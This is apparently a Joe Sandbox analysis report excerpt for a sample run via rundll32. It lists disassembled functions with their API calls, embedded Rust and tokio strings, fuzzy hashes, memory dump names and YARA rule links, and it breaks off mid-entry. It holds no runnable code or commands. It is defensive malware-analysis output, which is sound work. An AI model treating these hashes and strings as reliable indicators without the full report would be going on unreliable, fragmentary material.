Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: ConsoleWrite$ByteCharErrorLastMultiWide
String ID:
API String ID: 3036337926-0
Opcode ID: db323ecd82f27da4e537c380d7bc3afbf127da98c060fcd8598f2f43ac221114
Instruction ID: ddd3b9c541167bbea0f895f201855ec07c32f1514ad79e8763b6193def1d8efe
Opcode Fuzzy Hash: db323ecd82f27da4e537c380d7bc3afbf127da98c060fcd8598f2f43ac221114
Instruction Fuzzy Hash: E8A13930A24B915EE7028B3AC441B76B7B4BFD2348F14C72AF9C4B3D81FB7195858285

Function 6CBCBDB1 Relevance: 7.6, Strings: 6, Instructions: 129COMMON

Download Yara Rule

Strings

\u, xrefs: 6CBCBE83
}, xrefs: 6CBCBE7F
\u, xrefs: 6CBCBF82
{, xrefs: 6CBCBF89
{, xrefs: 6CBCBE8A
}, xrefs: 6CBCBF7E

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID:
String ID: \u$\u${${$}$}
API String ID: 0-582841131
Opcode ID: 3846177a69292b2e2f262e23b0c518f0eb7641cd153b4d63e2ecac50257bd956
Instruction ID: 77fe802c8db79a9e611642844f0651a8daea12b7ce6b5a00d955602af7541e64
Opcode Fuzzy Hash: 3846177a69292b2e2f262e23b0c518f0eb7641cd153b4d63e2ecac50257bd956
Instruction Fuzzy Hash: B551D823E0DBDA86C7018BA944102DEBFF29FE6214F1D81DAC4D81F782C3765685D3A6

Function 6CC39840 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 250windowCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC39B05: memset.VCRUNTIME140(00000000,00000000,?,?,?,?,6CC3985C), ref: 6CC39B28

DecryptMessage.SECUR32(?,?,00000000,00000000), ref: 6CC39955

Part of subcall function 6CBE885A: memmove.VCRUNTIME140(?,?,?,?,?,?,6CBEC2F6,?,?,6CC3460C,?,6CC3463F), ref: 6CBE8883

Part of subcall function 6CC46438: memmove.VCRUNTIME140(?,HTTP/1.1 100 Continueinternal error: entered unreachable code: poll_read_body invalid state: ,?,?,00000002,?,?,?,6CC250BB,00000019), ref: 6CC464C5

Strings

assertion failed: pos <= self.dec_in.get_ref().len() as u64, xrefs: 6CC39AF6

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmove$DecryptMessagememset
String ID: assertion failed: pos <= self.dec_in.get_ref().len() as u64
API String ID: 522839164-2093299206
Opcode ID: cf81bec3205ead41921637b9c751b7692368adc342a828d35acd5a1a43da8aae
Instruction ID: 2f84faf657ea1b1fdf400d309ec714c7af34fbeb65d1163fcc170757f4599b72
Opcode Fuzzy Hash: cf81bec3205ead41921637b9c751b7692368adc342a828d35acd5a1a43da8aae
Instruction Fuzzy Hash: 52918C716087109FD310DF2AE580B5BB7E1FF89318F109A2DE59987B50EB71E889CB52

Function 6CBEEE05 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,00000000,00000094), ref: 6CBEEF43
memmove.VCRUNTIME140(?,?,00000094), ref: 6CBEEF6A

Strings

internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs, xrefs: 6CBF02B6

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmove
String ID: internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs
API String ID: 2162964266-2861346101
Opcode ID: dabf73215a7be6f32db765698064d4ac85bb17ce3e9c0cdadb6fff7e7fd05783
Instruction ID: de10a25a16272a507eb4004824085150bbf82509d0add75d2b09e7cc8cd38d4d
Opcode Fuzzy Hash: dabf73215a7be6f32db765698064d4ac85bb17ce3e9c0cdadb6fff7e7fd05783
Instruction Fuzzy Hash: CF825A75A093818FD324CF18D480BDEB7E1EFD9754F148A2DE89897790D770A989CB82

Function 0466681F Relevance: 4.9, APIs: 3, Instructions: 410COMMON

Download Yara Rule

APIs

swprintf.LIBCMT ref: 04666A5D
std::_Xinvalid_argument.LIBCPMT ref: 04666B06

Memory Dump Source

Source File: 00000003.00000002.3544730523.0000000004660000.00000040.00001000.00020000.00000000.sdmp, Offset: 04660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4660000_rundll32.jbxd

Similarity

API ID: Xinvalid_argumentstd::_swprintf
String ID:
API String ID: 2109912724-0
Opcode ID: 04b2acf99b33ccf9c52ea25fa5a2854a04adf054afa153323b5f5cccbd1f206d
Instruction ID: d0d18eb6a51cd8a820373adc49ada9be7aa4133a817f3e5cd526af2eb1c8ab78
Opcode Fuzzy Hash: 04b2acf99b33ccf9c52ea25fa5a2854a04adf054afa153323b5f5cccbd1f206d
Instruction Fuzzy Hash: 71E15171A001259FDF64DE64DC80BEEB3B5EB99304F1446ADD94AA7384E731BE818F90

Function 6CBF255C Relevance: 4.9, APIs: 3, Instructions: 364COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CBF257B
memmove.VCRUNTIME140(?,?,?), ref: 6CBF2890
memmove.VCRUNTIME140(?,?,?,00000000,?,00000000), ref: 6CBF28F4

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmove$__aulldiv
String ID:
API String ID: 3540790784-0
Opcode ID: 7627c91e58819b67982dd5d2bce57a86b3645372a4bfc80c829d7e4dbbb58a9a
Instruction ID: e11a1fd9fcee75d12d289f75de1efa95e8094e9ac7de2839809754f58f1871d7
Opcode Fuzzy Hash: 7627c91e58819b67982dd5d2bce57a86b3645372a4bfc80c829d7e4dbbb58a9a
Instruction Fuzzy Hash: F9D1E2316083859FD725CF28C89469EB7E2EFC9314F15892DE49997760DB30EC4A8B83

Function 6CC24719 Relevance: 4.4, Strings: 3, Instructions: 618COMMON

Download Yara Rule

Strings

mut const ; dyn + unsafe extern ", xrefs: 6CC24788
internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs, xrefs: 6CC24EF7
:, xrefs: 6CC24BCA

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmove
String ID: mut const ; dyn + unsafe extern "$:$internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs
API String ID: 2162964266-1873620769
Opcode ID: a5652424d474f181f358c2c39fcda87c4ced11331d53b2e0b209c36bddfc470c
Instruction ID: d5e9d8a3cfb78fe158270952687e146c62d1b0c8c88658200d283d230d898703
Opcode Fuzzy Hash: a5652424d474f181f358c2c39fcda87c4ced11331d53b2e0b209c36bddfc470c
Instruction Fuzzy Hash: 91329F716083419FC714CF29C490B6ABBE2BFC8354F15891DE8999B751EB74EC46CB82

Function 6CC10332 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 228windowCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC39B05: memset.VCRUNTIME140(00000000,00000000,?,?,?,?,6CC3985C), ref: 6CC39B28

DecryptMessage.SECUR32(?,?,00000000,00000000), ref: 6CC10450

Part of subcall function 6CBE885A: memmove.VCRUNTIME140(?,?,?,?,?,?,6CBEC2F6,?,?,6CC3460C,?,6CC3463F), ref: 6CBE8883

Part of subcall function 6CC46438: memmove.VCRUNTIME140(?,HTTP/1.1 100 Continueinternal error: entered unreachable code: poll_read_body invalid state: ,?,?,00000002,?,?,?,6CC250BB,00000019), ref: 6CC464C5

Strings

assertion failed: pos <= self.dec_in.get_ref().len() as u64, xrefs: 6CC1063E

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmove$DecryptMessagememset
String ID: assertion failed: pos <= self.dec_in.get_ref().len() as u64
API String ID: 522839164-2093299206
Opcode ID: 332aa5b06539ad058e3c3498ec514a7f3fba59982142945d078eca46dee2ea26
Instruction ID: 08851b59e6a6b3f38634723400f96058008038f140d7a3efac05c515bd607627
Opcode Fuzzy Hash: 332aa5b06539ad058e3c3498ec514a7f3fba59982142945d078eca46dee2ea26
Instruction Fuzzy Hash: F191A030708745DFD704DF26C480B9AF7E1BF88318F108A2DE59997B40EB75A898DB96

Function 6CBF653C Relevance: 3.5, APIs: 2, Instructions: 529COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CBF6856

Part of subcall function 6CC4FDD0: QueryPerformanceCounter.KERNEL32 ref: 6CC4FE15
Part of subcall function 6CC4FDD0: QueryPerformanceFrequency.KERNEL32 ref: 6CC4FE5C
Part of subcall function 6CC4FDD0: __aulldiv.LIBCMT ref: 6CC4FE97
Part of subcall function 6CC4FDD0: __aulldiv.LIBCMT ref: 6CC4FEF2
Part of subcall function 6CC4FDD0: __aulldiv.LIBCMT ref: 6CC4FF07

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: __aulldiv$PerformanceQuery$CounterFrequency
String ID:
API String ID: 2403592835-0
Opcode ID: 76103bf25aeb606303f27c612dc226ebb9b35b930fdea886f526abffd76bda27
Instruction ID: 5a0792c4881d5a86333e51e41d7817a7b25f99eef9c6b7d977be74ef72a99aec
Opcode Fuzzy Hash: 76103bf25aeb606303f27c612dc226ebb9b35b930fdea886f526abffd76bda27
Instruction Fuzzy Hash: 5E127B716083419FC704CF28C490A5AB7F1FF89358F19896DE8A9DB751D731E94ACB82

Function 6CC06291 Relevance: 3.2, Strings: 2, Instructions: 674COMMON

Download Yara Rule

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 6CC06C9D, 6CC06CDD
Map must not be polled after it returned `Poll::Ready`, xrefs: 6CC06C71

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID:
String ID: Map must not be polled after it returned `Poll::Ready`$called `Result::unwrap()` on an `Err` value
API String ID: 0-3366255769
Opcode ID: 245e56800fb440febce81f0068927eed9b278193209074d623ef697a856a95ae
Instruction ID: edee76afec31fd6ad558f4cd5558fc6ecefd5fa71df0c297ad538d4186f18b7a
Opcode Fuzzy Hash: 245e56800fb440febce81f0068927eed9b278193209074d623ef697a856a95ae
Instruction Fuzzy Hash: 1C626D75A08B818FC725CF24C49069EF7F1BFC9314F148A5DE8899B751EB709989CB42

Function 6CBF3EDC Relevance: 3.1, APIs: 2, Instructions: 59filenativeCOMMON

Download Yara Rule

APIs

NtCancelIoFileEx.NTDLL ref: 6CBF3F0D
RtlNtStatusToDosError.NTDLL ref: 6CBF3F30

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: CancelErrorFileStatus
String ID:
API String ID: 1267829034-0
Opcode ID: d87c28d415e18c3cd33d71e4830764521cb30a4b8c0e4ee15ccb7527e1d92243
Instruction ID: 3379aeba699379751d951222397d59c1078e7fc449ec644001e430c0ea39a1ff
Opcode Fuzzy Hash: d87c28d415e18c3cd33d71e4830764521cb30a4b8c0e4ee15ccb7527e1d92243
Instruction Fuzzy Hash: 542184B1804742AFEB148F15D408756FBB4FF40319F28C99EE0598BB42D3B5D58ACB82

Function 6CC62C95 Relevance: 2.8, APIs: 2, Instructions: 320COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,?), ref: 6CC62D3B
memset.VCRUNTIME140(?,000000FF,-00000010), ref: 6CC62F10

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmovememset
String ID:
API String ID: 1288253900-0
Opcode ID: dd386c8f62c454d8b82373341f9de689444e6fa721b59882a5b6cd004f753fff
Instruction ID: a3ea441de7ade7e3990fd7306f1176945e0c7add4ca205000a40feabe59abe32
Opcode Fuzzy Hash: dd386c8f62c454d8b82373341f9de689444e6fa721b59882a5b6cd004f753fff
Instruction Fuzzy Hash: BEC1CE356087428BC715CF29C99046AF7E1FFC9314F148A6EE8E597751EB30E946CB82

Function 6CC62893 Relevance: 2.8, APIs: 2, Instructions: 304COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,?), ref: 6CC62947
memset.VCRUNTIME140(000000FF,000000FF,-00000010), ref: 6CC629D0

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmovememset
String ID:
API String ID: 1288253900-0
Opcode ID: d5aba16d235ed406635b61a116f082f8234feeb0e906658cb57c7a77b4bf6f23
Instruction ID: cc48907815b195db928ef10b94df5d7f412d00604c50225208a951fd015ab1fb
Opcode Fuzzy Hash: d5aba16d235ed406635b61a116f082f8234feeb0e906658cb57c7a77b4bf6f23
Instruction Fuzzy Hash: F5B1D0716087418BD715CF2DC59452EFBE2FFC9214F248A2DE89997B51E730E845CB82

Function 046600CD Relevance: 2.6, Strings: 2, Instructions: 87COMMON

Download Yara Rule

Strings

ntdl, xrefs: 04660185
l, xrefs: 0466018C

Memory Dump Source

Source File: 00000003.00000002.3544730523.0000000004660000.00000040.00001000.00020000.00000000.sdmp, Offset: 04660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4660000_rundll32.jbxd

Similarity

API ID:
String ID: l$ntdl
API String ID: 0-924918826
Opcode ID: c362b51c53e3eeabca090c6237b61e6bcf708d1a3817c6eecd03a2daff8ddda5
Instruction ID: 9e2e5841ff3f1dd149a4d9da30bffb154edf212a670e2276cff3409ca97caee0
Opcode Fuzzy Hash: c362b51c53e3eeabca090c6237b61e6bcf708d1a3817c6eecd03a2daff8ddda5
Instruction Fuzzy Hash: 7521DF75A045209F9B29DF14849862FBBA6EF4571471180ADE8079F354FB34E9028BD5

Function 6CC23F75 Relevance: 1.8, Strings: 1, Instructions: 576COMMON

Download Yara Rule

Strings

keep-aliveHTTP/1.1 100 Continueinternal error: entered unreachable code: poll_read_body invalid state: , xrefs: 6CC24048

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID:
String ID: keep-aliveHTTP/1.1 100 Continueinternal error: entered unreachable code: poll_read_body invalid state:
API String ID: 0-2895536077
Opcode ID: c1821cc5eaf18b6d2eae17ac0755078687efb9f8eac15485c6737de95bfca350
Instruction ID: 7971b693aa4beb2653e92b9a566eebc9461cfe6fee7acd6b52a7a60bff13b61e
Opcode Fuzzy Hash: c1821cc5eaf18b6d2eae17ac0755078687efb9f8eac15485c6737de95bfca350
Instruction Fuzzy Hash: B242C0715087818FD710CF25C09079AFBF1BF89359F148A5DE8899B792D778E889CB82

Function 6CBF0B40 Relevance: 1.8, APIs: 1, Instructions: 512COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,00000094), ref: 6CBF0CE7

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: 5ac2172b942ce0c1242f3431ee7e73af95f48dcf95fc415f209a9a6a8ddd5bf8
Instruction ID: 4d1b7991071e00e614be163aebaa425efd7f999f1d4491608e7e5829894597a4
Opcode Fuzzy Hash: 5ac2172b942ce0c1242f3431ee7e73af95f48dcf95fc415f209a9a6a8ddd5bf8
Instruction Fuzzy Hash: 7C323975A083828FD324CF25D19079AF7E1FFC9354F148A2DE4A997B51D770A84ACB82

Function 6CC618D7 Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 6CC618ED

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 823b22c2f26ac6acd9275f20fe4a42edcd4850cca537b97e9de23188bff3a335
Instruction ID: b6278ac51ff36d63763363ea0d7fe057a3247394dfbb6c5cd65aa5e956256d23
Opcode Fuzzy Hash: 823b22c2f26ac6acd9275f20fe4a42edcd4850cca537b97e9de23188bff3a335
Instruction Fuzzy Hash: 69A19DB2A01205CFDB08CF6AC5E579EBBF1FB49315F24A12AD415E7650E7349A41CF50

Function 6CBCCAD0 Relevance: 1.7, APIs: 1, Instructions: 463COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,00000000), ref: 6CBCCC39

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: badcae1696984b9812dbf313ec2e89127bd4d78c79c9cec03cf0393462ece4ed
Instruction ID: 7a3c60479a83ce4c2c81495015388e75f923c6d4788807c74984754db8763835
Opcode Fuzzy Hash: badcae1696984b9812dbf313ec2e89127bd4d78c79c9cec03cf0393462ece4ed
Instruction Fuzzy Hash: 9CF11471F0426A8FDB05DF7DC4902AEB7A2AFEA304F19872AE815B7741D7709D428781

Function 6CC18A77 Relevance: 1.7, Strings: 1, Instructions: 448COMMON

Download Yara Rule

Strings

http://, xrefs: 6CC18CCF

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID:
String ID: http://
API String ID: 0-1121587658
Opcode ID: 699d37413caa1eb6673f0fa27d838cbc2702481b4ffa8543e533cea014e1ce48
Instruction ID: f145a5f896537991104c2dce22caf073cf735ac4f960bb8b9841c5f5b638fbcd
Opcode Fuzzy Hash: 699d37413caa1eb6673f0fa27d838cbc2702481b4ffa8543e533cea014e1ce48
Instruction Fuzzy Hash: A712267460CB458FD754CF2AC090A6ABBE1BF89344F108A2EE4D98BB50E774D949DB42

Function 6CC3E8E0 Relevance: 1.7, APIs: 1, Instructions: 168windowCOMMON

Download Yara Rule

APIs

EncryptMessage.SECUR32(?,00000000,?,00000000), ref: 6CC3EA73

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: EncryptMessage
String ID:
API String ID: 801064719-0
Opcode ID: 6df8db487019d16d208e07550c42c9db929bfdd01abd4094dfa544c9488ee015
Instruction ID: d4bfa1a105921f8a0f97028e35861abc3e2b3b2b6cce6a12c37634a5fd86f71d
Opcode Fuzzy Hash: 6df8db487019d16d208e07550c42c9db929bfdd01abd4094dfa544c9488ee015
Instruction Fuzzy Hash: A76128B16087059FD354CF29D480B9BB7E1BF88318F14892DE5AE87740E775A844CB96

Function 6CC4BD70 Relevance: 1.6, Strings: 1, Instructions: 390COMMON

Download Yara Rule

Strings

UNC\, xrefs: 6CC4C0EA

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID:
String ID: UNC\
API String ID: 0-505053535
Opcode ID: d58f443755bce69ebeeb51e0dba0d733de3ef79d70e219aafdf55eb8ec6ee794
Instruction ID: 4ea02e3a8c8decd9c5c4802203467e25c07d45076f3c533d71944f097f7e5a5c
Opcode Fuzzy Hash: d58f443755bce69ebeeb51e0dba0d733de3ef79d70e219aafdf55eb8ec6ee794
Instruction Fuzzy Hash: CFE16AB1D046558FEB04CF9AC4A47BEBBF1AF86318F19C159C4642BAE2E3744949CF90

Function 6CC441F0 Relevance: 1.5, Strings: 1, Instructions: 266COMMON

Download Yara Rule

Strings

